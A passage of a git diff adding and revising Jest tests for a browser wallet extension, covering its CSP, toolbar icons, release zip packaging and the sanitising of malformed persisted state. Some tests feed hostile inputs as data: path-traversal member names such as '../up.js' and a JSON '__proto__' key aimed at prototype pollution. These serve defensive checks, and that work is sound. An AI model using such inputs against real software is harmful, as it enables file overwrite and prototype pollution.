const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
|
||||||
|
|
||||||
const FORBIDDEN_SOURCES = [
|
const FORBIDDEN_SOURCES = [
|
||||||
"'unsafe-eval'",
|
"'unsafe-eval'",
|
||||||
@@ -53,26 +100,76 @@ function parseCsp(policy) {
|
|||||||
|
|
||||||
function assertPolicy(policy) {
|
function assertPolicy(policy) {
|
||||||
const directives = parseCsp(policy);
|
const directives = parseCsp(policy);
|
||||||
expect(Object.keys(directives).sort()).toEqual([
|
// Exact, in both directions: a directive that appears here and not in
|
||||||
"object-src",
|
// EXPECTED_DIRECTIVES is an unreviewed addition, and one that
|
||||||
"script-src",
|
// disappears silently reopens whatever it was closing.
|
||||||
]);
|
expect(Object.keys(directives).sort()).toEqual(
|
||||||
expect(directives["script-src"].slice().sort()).toEqual(
|
Object.keys(EXPECTED_DIRECTIVES).sort(),
|
||||||
EXPECTED_SCRIPT_SRC,
|
|
||||||
);
|
);
|
||||||
expect(directives["object-src"].slice().sort()).toEqual(
|
for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
|
||||||
EXPECTED_OBJECT_SRC,
|
expect([name, directives[name].slice().sort()]).toEqual([
|
||||||
);
|
name,
|
||||||
for (const source of FORBIDDEN_SOURCES) {
|
sources.slice().sort(),
|
||||||
expect(directives["script-src"]).not.toContain(source);
|
]);
|
||||||
expect(directives["object-src"]).not.toContain(source);
|
}
|
||||||
|
for (const name of SCRIPT_DIRECTIVES) {
|
||||||
|
for (const source of FORBIDDEN_SOURCES) {
|
||||||
|
expect(name + " " + directives[name].join(" ")).not.toContain(
|
||||||
|
" " + source,
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The declared icons, in both manifests.
|
||||||
|
//
|
||||||
|
// Without an "icons" block a browser draws a generic puzzle piece in the
|
||||||
|
// toolbar for this extension, which is both the first thing the user sees and
|
||||||
|
// how a real extension is told apart from a look-alike. Declaring one is not
|
||||||
|
// enough on its own: an entry naming a file that is not in the tree ships a
|
||||||
|
// reference to nothing, so the referenced bytes are read here and required to
|
||||||
|
// be a PNG of the size the entry claims. build.js copies these into each
|
||||||
|
// browser directory, relative to it, and script/lib/package.js then refuses to
|
||||||
|
// build an archive that does not contain everything the manifest names.
|
||||||
|
function assertIcons(target) {
|
||||||
|
const icons = readManifest(target).icons;
|
||||||
|
expect(Object.keys(icons).sort()).toEqual(EXPECTED_ICON_SIZES.sort());
|
||||||
|
for (const size of EXPECTED_ICON_SIZES) {
|
||||||
|
const ref = icons[size];
|
||||||
|
expect([size, ref]).toEqual([size, `icons/icon${size}.png`]);
|
||||||
|
|
||||||
|
const bytes = fs.readFileSync(path.join(ROOT, ref));
|
||||||
|
expect(bytes.subarray(0, 8)).toEqual(PNG_SIGNATURE);
|
||||||
|
// IHDR width and height, at fixed offsets right after the signature
|
||||||
|
// and the chunk header.
|
||||||
|
expect([ref, bytes.readUInt32BE(16), bytes.readUInt32BE(20)]).toEqual([
|
||||||
|
ref,
|
||||||
|
Number(size),
|
||||||
|
Number(size),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("declared icons", () => {
|
||||||
|
test("chrome declares real icons at every size", () => {
|
||||||
|
assertIcons("chrome");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("firefox declares real icons at every size", () => {
|
||||||
|
assertIcons("firefox");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("both targets declare the same icons", () => {
|
||||||
|
expect(readManifest("firefox").icons).toEqual(
|
||||||
|
readManifest("chrome").icons,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe("shipped Content Security Policy", () => {
|
describe("shipped Content Security Policy", () => {
|
||||||
// MV3 takes an object and applies extension_pages to the popup and the
|
// MV3 takes an object and applies extension_pages to the popup and the
|
||||||
// background service worker, which is where libsodium runs.
|
// background service worker, which is where libsodium runs.
|
||||||
test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
|
test("chrome MV3 ships the pinned policy, default-src included", () => {
|
||||||
const csp = readManifest("chrome").content_security_policy;
|
const csp = readManifest("chrome").content_security_policy;
|
||||||
expect(typeof csp).toBe("object");
|
expect(typeof csp).toBe("object");
|
||||||
expect(Object.keys(csp)).toEqual(["extension_pages"]);
|
expect(Object.keys(csp)).toEqual(["extension_pages"]);
|
||||||
@@ -87,7 +184,7 @@ describe("shipped Content Security Policy", () => {
|
|||||||
// Firefox before 106 rejects an MV2 policy string that omits
|
// Firefox before 106 rejects an MV2 policy string that omits
|
||||||
// object-src and falls back to its own default, discarding everything
|
// object-src and falls back to its own default, discarding everything
|
||||||
// declared here. Same policy as Chrome, different manifest shape.
|
// declared here. Same policy as Chrome, different manifest shape.
|
||||||
test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
|
test("firefox MV2 ships the pinned policy, default-src included", () => {
|
||||||
const csp = readManifest("firefox").content_security_policy;
|
const csp = readManifest("firefox").content_security_policy;
|
||||||
expect(typeof csp).toBe("string");
|
expect(typeof csp).toBe("string");
|
||||||
assertPolicy(csp);
|
assertPolicy(csp);
|
||||||
|
|||||||
@@ -10,6 +10,7 @@
|
|||||||
// happened.
|
// happened.
|
||||||
|
|
||||||
const { networkById } = require("../src/shared/networks");
|
const { networkById } = require("../src/shared/networks");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
@@ -34,25 +35,19 @@ function walletFixture() {
|
|||||||
// saveState() wrote — so a case can reload a fresh module from the bytes an
|
// saveState() wrote — so a case can reload a fresh module from the bytes an
|
||||||
// earlier one persisted, which is what an extension restart does. `state` is
|
// earlier one persisted, which is what an extension restart does. `state` is
|
||||||
// a module-level singleton, so the registry has to be reset per load.
|
// a module-level singleton, so the registry has to be reset per load.
|
||||||
|
// The stub clones in both directions, as the real chrome.storage.local does.
|
||||||
|
// It used to alias, and written() then handed the NEXT module load the live
|
||||||
|
// in-memory object of the previous one as its "persisted bytes" — an extension
|
||||||
|
// restart that never crossed a serialization boundary. See
|
||||||
|
// tests/support/storageStub.js.
|
||||||
function loadModuleWith(persisted) {
|
function loadModuleWith(persisted) {
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
let written = null;
|
const storage = makeStorageStub(persisted ? { autistmask: persisted } : {});
|
||||||
global.chrome = {
|
global.chrome = { storage };
|
||||||
storage: {
|
|
||||||
local: {
|
|
||||||
get: jest.fn(async () =>
|
|
||||||
persisted ? { autistmask: persisted } : {},
|
|
||||||
),
|
|
||||||
set: jest.fn(async (items) => {
|
|
||||||
written = items.autistmask;
|
|
||||||
}),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
};
|
|
||||||
return {
|
return {
|
||||||
mod: require("../src/shared/state"),
|
mod: require("../src/shared/state"),
|
||||||
chainSwitch: require("../src/shared/chainSwitch"),
|
chainSwitch: require("../src/shared/chainSwitch"),
|
||||||
written: () => written,
|
written: () => storage.read("autistmask"),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
210
tests/packaging.test.js
Normal file
210
tests/packaging.test.js
Normal file
@@ -0,0 +1,210 @@
|
|||||||
|
// The release archives: the zip container, and the self-containment rule.
|
||||||
|
//
|
||||||
|
// script/package produces one archive per browser and script/lib/package.js
|
||||||
|
// decides what goes in it. The trap that rule exists for is real and specific:
|
||||||
|
// build.js writes the compiled stylesheet to dist/styles.css at the dist/
|
||||||
|
// ROOT, outside both browser directories, and copies it into each of them as
|
||||||
|
// src/popup/styles.css. A `zip -r dist/chrome` is correct only because of that
|
||||||
|
// copy, and would silently start shipping a popup with no stylesheet the
|
||||||
|
// moment a reference pointed up and out of the directory.
|
||||||
|
//
|
||||||
|
// So the packager resolves every reference in the manifest and in every HTML
|
||||||
|
// document, and fails on any that leaves the extension root. These are the
|
||||||
|
// cases for that, plus the archive format itself — new code, and the thing the
|
||||||
|
// artifact is made of.
|
||||||
|
|
||||||
|
const {
|
||||||
|
checkSelfContained,
|
||||||
|
htmlReferences,
|
||||||
|
manifestReferences,
|
||||||
|
} = require("../script/lib/package");
|
||||||
|
const { readZip, writeZip } = require("../script/lib/zip");
|
||||||
|
|
||||||
|
function archiveOf(files) {
|
||||||
|
return {
|
||||||
|
members: Object.keys(files).sort(),
|
||||||
|
read: (name) => Buffer.from(files[name] ?? "", "utf8"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const MINIMAL_MANIFEST = {
|
||||||
|
manifest_version: 3,
|
||||||
|
name: "AutistMask",
|
||||||
|
version: "0.1.0",
|
||||||
|
action: { default_popup: "src/popup/index.html" },
|
||||||
|
background: { service_worker: "src/background/index.js" },
|
||||||
|
};
|
||||||
|
|
||||||
|
describe("archive self-containment", () => {
|
||||||
|
test("a complete tree passes", () => {
|
||||||
|
const { members, read } = archiveOf({
|
||||||
|
"manifest.json": JSON.stringify(MINIMAL_MANIFEST),
|
||||||
|
"src/popup/index.html":
|
||||||
|
'<link rel="stylesheet" href="styles.css" />' +
|
||||||
|
'<script src="index.js"></script>',
|
||||||
|
"src/popup/styles.css": "body{}",
|
||||||
|
"src/popup/index.js": "//",
|
||||||
|
"src/background/index.js": "//",
|
||||||
|
});
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a manifest naming a file that is not in the archive fails", () => {
|
||||||
|
const { members, read } = archiveOf({
|
||||||
|
"manifest.json": JSON.stringify(MINIMAL_MANIFEST),
|
||||||
|
"src/popup/index.html": "<html></html>",
|
||||||
|
"src/popup/index.js": "//",
|
||||||
|
});
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).toThrow(
|
||||||
|
/would not be self-contained.*src\/background\/index\.js/s,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The dist/styles.css case, exactly: a popup that reached up out of its
|
||||||
|
// own browser directory for the stylesheet the build leaves at the dist/
|
||||||
|
// root. Nothing would be missing from disk, and the zip would still be
|
||||||
|
// built — the archive would just have no stylesheet in it.
|
||||||
|
test("an HTML reference that escapes the extension root fails", () => {
|
||||||
|
const { members, read } = archiveOf({
|
||||||
|
"manifest.json": JSON.stringify(MINIMAL_MANIFEST),
|
||||||
|
"src/popup/index.html":
|
||||||
|
'<link rel="stylesheet" href="../../../styles.css" />',
|
||||||
|
"src/popup/index.js": "//",
|
||||||
|
"src/background/index.js": "//",
|
||||||
|
});
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).toThrow(
|
||||||
|
/resolves outside the extension root/,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a manifest reference that escapes the extension root fails", () => {
|
||||||
|
const { members, read } = archiveOf({
|
||||||
|
"manifest.json": JSON.stringify({
|
||||||
|
...MINIMAL_MANIFEST,
|
||||||
|
background: { service_worker: "../shared/index.js" },
|
||||||
|
}),
|
||||||
|
"src/popup/index.html": "<html></html>",
|
||||||
|
});
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).toThrow(
|
||||||
|
/points outside the extension root/,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Toolbar icons are the other file the manifest names and no bundler
|
||||||
|
// emits, so an archive built without them would carry a manifest whose
|
||||||
|
// "icons" resolve to nothing and a browser would fall back to a generic
|
||||||
|
// placeholder without saying so.
|
||||||
|
test("a manifest naming an icon that is not in the archive fails", () => {
|
||||||
|
const { members, read } = archiveOf({
|
||||||
|
"manifest.json": JSON.stringify({
|
||||||
|
...MINIMAL_MANIFEST,
|
||||||
|
icons: { 16: "icons/icon16.png", 128: "icons/icon128.png" },
|
||||||
|
}),
|
||||||
|
"src/popup/index.html": "<html></html>",
|
||||||
|
"src/popup/index.js": "//",
|
||||||
|
"src/background/index.js": "//",
|
||||||
|
"icons/icon16.png": "PNG",
|
||||||
|
});
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).toThrow(
|
||||||
|
/would not be self-contained.*icons\/icon128\.png/s,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an archive with no manifest.json at its root fails", () => {
|
||||||
|
const { members, read } = archiveOf({ "src/popup/index.js": "//" });
|
||||||
|
expect(() => checkSelfContained("chrome", members, read)).toThrow(
|
||||||
|
/no manifest\.json at its root/,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("manifest strings that are not paths are not treated as files", () => {
|
||||||
|
const found = manifestReferences({
|
||||||
|
name: "AutistMask",
|
||||||
|
version: "0.1.0",
|
||||||
|
permissions: ["storage", "<all_urls>"],
|
||||||
|
content_security_policy: {
|
||||||
|
extension_pages: "default-src 'self'; script-src 'self'",
|
||||||
|
},
|
||||||
|
key: "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy",
|
||||||
|
});
|
||||||
|
expect([...found]).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("absolute, data: and anchor HTML references are not files", () => {
|
||||||
|
const refs = htmlReferences(
|
||||||
|
"src/popup/index.html",
|
||||||
|
'<a href="https://example.com/x.js">a</a>' +
|
||||||
|
'<img src="data:image/png;base64,AAAA" />' +
|
||||||
|
'<a href="#view-main">b</a>' +
|
||||||
|
'<script src="index.js"></script>',
|
||||||
|
);
|
||||||
|
expect([...refs]).toEqual(["src/popup/index.js"]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the zip container", () => {
|
||||||
|
const files = [
|
||||||
|
{ name: "manifest.json", data: Buffer.from('{"a":1}') },
|
||||||
|
// Long enough that deflate wins, so both paths through compress() are
|
||||||
|
// exercised by one archive.
|
||||||
|
{ name: "src/popup/index.js", data: Buffer.from("x".repeat(5000)) },
|
||||||
|
{ name: "empty.txt", data: Buffer.alloc(0) },
|
||||||
|
];
|
||||||
|
|
||||||
|
test("round-trips every member byte for byte", () => {
|
||||||
|
const entries = readZip(writeZip(files));
|
||||||
|
expect(entries.map((e) => e.name)).toEqual([
|
||||||
|
"empty.txt",
|
||||||
|
"manifest.json",
|
||||||
|
"src/popup/index.js",
|
||||||
|
]);
|
||||||
|
for (const original of files) {
|
||||||
|
const found = entries.find((e) => e.name === original.name);
|
||||||
|
expect(found.data.equals(original.data)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// The sha256 in release/SHA256SUMS has to be a property of the input. Two
|
||||||
|
// builds of one commit that produce different archives cannot be compared
|
||||||
|
// to each other, which is most of what publishing a digest is for.
|
||||||
|
test("is byte-identical across runs and independent of input order", () => {
|
||||||
|
const a = writeZip(files);
|
||||||
|
const b = writeZip([...files].reverse());
|
||||||
|
expect(a.equals(b)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Reading an archive back is how script/lib/package.js establishes that
|
||||||
|
// the artifact holds what dist/ holds, so a member whose bytes changed
|
||||||
|
// after it was written has to fail rather than be handed back.
|
||||||
|
test("a corrupted member fails its CRC on read", () => {
|
||||||
|
// One member, incompressible at this size, so it is stored verbatim
|
||||||
|
// and its bytes begin at a known offset: local header (30) + name.
|
||||||
|
const name = "a.js";
|
||||||
|
const archive = writeZip([{ name, data: Buffer.from("hello") }]);
|
||||||
|
expect(readZip(archive)[0].data.toString()).toBe("hello");
|
||||||
|
archive[30 + name.length] ^= 0xff;
|
||||||
|
expect(() => readZip(archive)).toThrow(/fails its recorded CRC32/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test.each([["/abs.js"], ["../up.js"], ["a/../b.js"], ["a\\b.js"], [""]])(
|
||||||
|
"refuses the member name %p",
|
||||||
|
(name) => {
|
||||||
|
expect(() => writeZip([{ name, data: Buffer.from("x") }])).toThrow(
|
||||||
|
/member name/,
|
||||||
|
);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
test("refuses an archive with no members", () => {
|
||||||
|
expect(() => writeZip([])).toThrow(/no members/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("refuses duplicate members", () => {
|
||||||
|
expect(() =>
|
||||||
|
writeZip([
|
||||||
|
{ name: "a.js", data: Buffer.from("1") },
|
||||||
|
{ name: "a.js", data: Buffer.from("2") },
|
||||||
|
]),
|
||||||
|
).toThrow(/duplicate member/);
|
||||||
|
});
|
||||||
|
});
|
||||||
404
tests/persistedEntryFloors.test.js
Normal file
404
tests/persistedEntryFloors.test.js
Normal file
@@ -0,0 +1,404 @@
|
|||||||
|
// A persisted container that is checked while its ENTRIES are dereferenced
|
||||||
|
// unchecked (https://git.eeqj.de/sneak/AutistMask/issues/362).
|
||||||
|
//
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/311 settled the idiom — floor the
|
||||||
|
// container AND its entries, dropping anything that cannot be safely
|
||||||
|
// dereferenced — and applied it to trackedTokens and tokenBalances. These are
|
||||||
|
// the fields it did not reach.
|
||||||
|
//
|
||||||
|
// allowedSites is the worst shape in the codebase, and it is what the boot
|
||||||
|
// tests below measure: a stored `{"0x…": "notalist"}` passes the gate, renders
|
||||||
|
// a WORKING popup, and then throws `base.map is not a function` inside
|
||||||
|
// saveState()'s merge — so every save from then on fails while the UI looks
|
||||||
|
// entirely healthy and the user goes on operating a wallet that is persisting
|
||||||
|
// nothing. A blank popup is at least visibly broken; this is not. So the
|
||||||
|
// assertion here is never merely "the popup rendered": it is "the popup
|
||||||
|
// rendered AND the write actually landed in storage".
|
||||||
|
//
|
||||||
|
// Observed at ad6aa7b, with the floors below removed:
|
||||||
|
// allowedSites: {"0x…": "notalist"} -> views=["main"], errors=[], and
|
||||||
|
// storage.set NEVER called: the stored record kept no schemaVersion, so
|
||||||
|
// nothing the user did was persisted.
|
||||||
|
// fraudContracts: "0x…" -> renderSendTokenSelect() threw
|
||||||
|
// "(state.fraudContracts || []).map is not a function"
|
||||||
|
// fraudContracts: [42] -> threw "a.toLowerCase is not a
|
||||||
|
// function"
|
||||||
|
// selectedToken: 42 (restoring onto address-token) -> views=[], errors=
|
||||||
|
// ["tokenId.toLowerCase is not a function"] — a blank popup.
|
||||||
|
|
||||||
|
const { normalizePersisted } = require("../src/shared/persistedState");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
const {
|
||||||
|
bootPopup,
|
||||||
|
cleanupPopup,
|
||||||
|
unversionedValidProfile,
|
||||||
|
ADDRESS,
|
||||||
|
TOKEN_ADDRESS,
|
||||||
|
} = require("./support/popupBoot");
|
||||||
|
|
||||||
|
// One extension page: a fresh module registry over the given storage. state.js
|
||||||
|
// resolves the storage API at require time, so the stub has to be installed
|
||||||
|
// before the module is loaded.
|
||||||
|
function loadStateModule(storage) {
|
||||||
|
jest.resetModules();
|
||||||
|
globalThis.chrome = { storage: { local: storage.local } };
|
||||||
|
return require("../src/shared/state");
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
cleanupPopup();
|
||||||
|
});
|
||||||
|
|
||||||
|
// ------------------------------------------------------- the floor itself
|
||||||
|
|
||||||
|
describe("the floor under allowedSites and deniedSites", () => {
|
||||||
|
for (const field of ["allowedSites", "deniedSites"]) {
|
||||||
|
test(`${field} that is not a record becomes an empty record`, () => {
|
||||||
|
for (const bad of ["nope", 42, true, [ADDRESS], null]) {
|
||||||
|
expect(normalizePersisted({ [field]: bad })[field]).toEqual({});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test(`an ${field} entry whose value is not a hostname list is dropped`, () => {
|
||||||
|
for (const bad of ["dapp.example", 42, null, { a: 1 }, true]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ [field]: { [ADDRESS]: bad } })[field],
|
||||||
|
).toEqual({});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test(`a hostname that is not text is dropped from an ${field} entry`, () => {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({
|
||||||
|
[field]: { [ADDRESS]: [42, null, "dapp.example", {}] },
|
||||||
|
})[field],
|
||||||
|
).toEqual({ [ADDRESS]: ["dapp.example"] });
|
||||||
|
});
|
||||||
|
|
||||||
|
test(`a real ${field} map survives, copied not shared`, () => {
|
||||||
|
const saved = { [field]: { [ADDRESS]: ["dapp.example"] } };
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(out[field]).toEqual(saved[field]);
|
||||||
|
expect(out[field]).not.toBe(saved[field]);
|
||||||
|
expect(out[field][ADDRESS]).not.toBe(saved[field][ADDRESS]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test(`a good ${field} entry beside a malformed one survives`, () => {
|
||||||
|
const out = normalizePersisted({
|
||||||
|
[field]: { [ADDRESS]: ["dapp.example"], [TOKEN_ADDRESS]: 42 },
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(out[field]).toEqual({ [ADDRESS]: ["dapp.example"] });
|
||||||
|
});
|
||||||
|
|
||||||
|
test(`a stored own "__proto__" key in ${field} is dropped`, () => {
|
||||||
|
// JSON can carry the key. It can never be a wallet address, so it
|
||||||
|
// grants and denies nothing and goes the way of every other key
|
||||||
|
// whose value is unusable; keeping it would only keep a value that
|
||||||
|
// saveState()'s merge hands to the prototype setter on the next
|
||||||
|
// write.
|
||||||
|
const saved = JSON.parse(
|
||||||
|
'{"' + field + '":{"__proto__":["evil.invalid"]}}',
|
||||||
|
);
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(Object.getPrototypeOf(out[field])).toBe(Object.prototype);
|
||||||
|
expect(Object.keys(out[field])).toEqual([]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('a stored own "__proto__" key surviving a save', () => {
|
||||||
|
// The floor writes map keys with defineProperty; saveState()'s merge is one
|
||||||
|
// layer downstream of it and used to write them with plain assignment,
|
||||||
|
// which hands "__proto__" to the prototype setter and records no entry.
|
||||||
|
// networkEndpoints is where a key that is not a known id is deliberately
|
||||||
|
// KEPT, so it is where that undoing shows.
|
||||||
|
test("does not move a prototype or vanish from networkEndpoints", async () => {
|
||||||
|
const profile = unversionedValidProfile();
|
||||||
|
profile.networkEndpoints = JSON.parse(
|
||||||
|
'{"__proto__":{"rpcUrl":"https://kept.invalid"}}',
|
||||||
|
);
|
||||||
|
const storage = makeStorageStub({ autistmask: profile });
|
||||||
|
const { state, loadState, saveState } = loadStateModule(storage);
|
||||||
|
|
||||||
|
await loadState();
|
||||||
|
state.theme = "dark";
|
||||||
|
await saveState();
|
||||||
|
|
||||||
|
// Not compared against Object.prototype by identity: the storage stub
|
||||||
|
// clones through structuredClone, which builds the result in the host
|
||||||
|
// realm, so the two Object.prototypes are different objects.
|
||||||
|
const stored = storage.read("autistmask").networkEndpoints;
|
||||||
|
expect(Object.getPrototypeOf(stored).rpcUrl).toBeUndefined();
|
||||||
|
expect(Object.keys(stored)).toContain("__proto__");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the floor under fraudContracts", () => {
|
||||||
|
test("fraudContracts that is not a list becomes an empty list", () => {
|
||||||
|
for (const bad of ["nope", 42, true, { a: 1 }]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ fraudContracts: bad }).fraudContracts,
|
||||||
|
).toEqual([]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a fraudContracts entry that is not text is dropped", () => {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({
|
||||||
|
fraudContracts: [42, null, TOKEN_ADDRESS, {}, []],
|
||||||
|
}).fraudContracts,
|
||||||
|
).toEqual([TOKEN_ADDRESS]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a real fraudContracts list survives, copied not shared", () => {
|
||||||
|
const saved = { fraudContracts: [TOKEN_ADDRESS] };
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(out.fraudContracts).toEqual(saved.fraudContracts);
|
||||||
|
expect(out.fraudContracts).not.toBe(saved.fraudContracts);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the floor under selectedToken", () => {
|
||||||
|
// Found by the sweep for this defect class, not named in the issue: the
|
||||||
|
// restore gate in src/popup/viewRouter.js checks truthiness only, and both
|
||||||
|
// src/popup/views/addressToken.js and src/popup/views/receive.js then
|
||||||
|
// dereference it as text.
|
||||||
|
test("a selectedToken that is not text becomes null", () => {
|
||||||
|
for (const bad of [42, true, { a: 1 }, [TOKEN_ADDRESS]]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ selectedToken: bad }).selectedToken,
|
||||||
|
).toBeNull();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a real selectedToken survives; the empty string becomes null", () => {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ selectedToken: TOKEN_ADDRESS }).selectedToken,
|
||||||
|
).toBe(TOKEN_ADDRESS);
|
||||||
|
expect(normalizePersisted({ selectedToken: "ETH" }).selectedToken).toBe(
|
||||||
|
"ETH",
|
||||||
|
);
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ selectedToken: "" }).selectedToken,
|
||||||
|
).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ----------------------------------------- what the user actually gets
|
||||||
|
|
||||||
|
describe("a malformed allowedSites entry", () => {
|
||||||
|
const MALFORMED = [
|
||||||
|
{ name: "a string", value: "notalist" },
|
||||||
|
{ name: "a number", value: 42 },
|
||||||
|
{ name: "a record", value: { hostnames: ["dapp.example"] } },
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const { name, value } of MALFORMED) {
|
||||||
|
test(`whose value is ${name}: a working popup whose writes persist`, async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
unversionedValidProfile({
|
||||||
|
allowedSites: { [ADDRESS]: value },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect({
|
||||||
|
visibleViews: env.visibleViews(),
|
||||||
|
errors: env.pageErrors,
|
||||||
|
}).toEqual({ visibleViews: ["main"], errors: [] });
|
||||||
|
|
||||||
|
// The half that matters. A popup that renders and never persists
|
||||||
|
// again is worse than one that renders nothing, because nothing
|
||||||
|
// tells the user. The version stamp is proof a write landed: it
|
||||||
|
// is absent from the stored record until saveState() writes one.
|
||||||
|
expect(env.storage.set).toHaveBeenCalled();
|
||||||
|
const stored = env.storage.read("autistmask");
|
||||||
|
expect(stored.schemaVersion).toBe(1);
|
||||||
|
expect(stored.wallets[0].encryptedSecret).toBe(
|
||||||
|
"encrypted-secret-1",
|
||||||
|
);
|
||||||
|
expect(stored.allowedSites).toEqual({});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the well-formed entries beside it keep working", async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
unversionedValidProfile({
|
||||||
|
allowedSites: {
|
||||||
|
[ADDRESS]: ["dapp.example"],
|
||||||
|
[TOKEN_ADDRESS]: "notalist",
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(env.pageErrors).toEqual([]);
|
||||||
|
expect(env.storage.read("autistmask").allowedSites).toEqual({
|
||||||
|
[ADDRESS]: ["dapp.example"],
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a later save still lands, not just the first", async () => {
|
||||||
|
// The failure this closes was in the MERGE, which runs on every save
|
||||||
|
// against whatever is in storage at the time. One write landing is not
|
||||||
|
// enough: the field has to stay mergeable.
|
||||||
|
const storage = makeStorageStub({
|
||||||
|
autistmask: unversionedValidProfile({
|
||||||
|
allowedSites: { [ADDRESS]: "notalist" },
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
const { state, loadState, saveState } = loadStateModule(storage);
|
||||||
|
|
||||||
|
await loadState();
|
||||||
|
state.theme = "dark";
|
||||||
|
await saveState();
|
||||||
|
state.utcTimestamps = true;
|
||||||
|
await saveState();
|
||||||
|
|
||||||
|
const stored = storage.read("autistmask");
|
||||||
|
expect(stored.theme).toBe("dark");
|
||||||
|
expect(stored.utcTimestamps).toBe(true);
|
||||||
|
expect(stored.allowedSites).toEqual({});
|
||||||
|
expect(stored.wallets[0].encryptedSecret).toBe("encrypted-secret-1");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a malformed fraudContracts", () => {
|
||||||
|
// The send screen, which is where this one lands: the boot path only
|
||||||
|
// reaches fraudContracts through loadHomeTxs(), which catches, so the
|
||||||
|
// consequence is an unusable send screen rather than silent data loss.
|
||||||
|
function stubSendDocument() {
|
||||||
|
const select = { innerHTML: "", children: [] };
|
||||||
|
select.appendChild = (child) => select.children.push(child);
|
||||||
|
globalThis.document = {
|
||||||
|
getElementById: (id) => (id === "send-token" ? select : null),
|
||||||
|
createElement: () => ({ value: "", textContent: "" }),
|
||||||
|
};
|
||||||
|
return select;
|
||||||
|
}
|
||||||
|
|
||||||
|
const HELD = {
|
||||||
|
address: TOKEN_ADDRESS,
|
||||||
|
symbol: "AAA",
|
||||||
|
decimals: 18,
|
||||||
|
balance: "12.5",
|
||||||
|
holders: 50000,
|
||||||
|
};
|
||||||
|
|
||||||
|
async function sendScreenTokens(fraudContracts) {
|
||||||
|
const storage = makeStorageStub({
|
||||||
|
autistmask: unversionedValidProfile({ fraudContracts }),
|
||||||
|
});
|
||||||
|
const { loadState } = loadStateModule(storage);
|
||||||
|
await loadState();
|
||||||
|
const select = stubSendDocument();
|
||||||
|
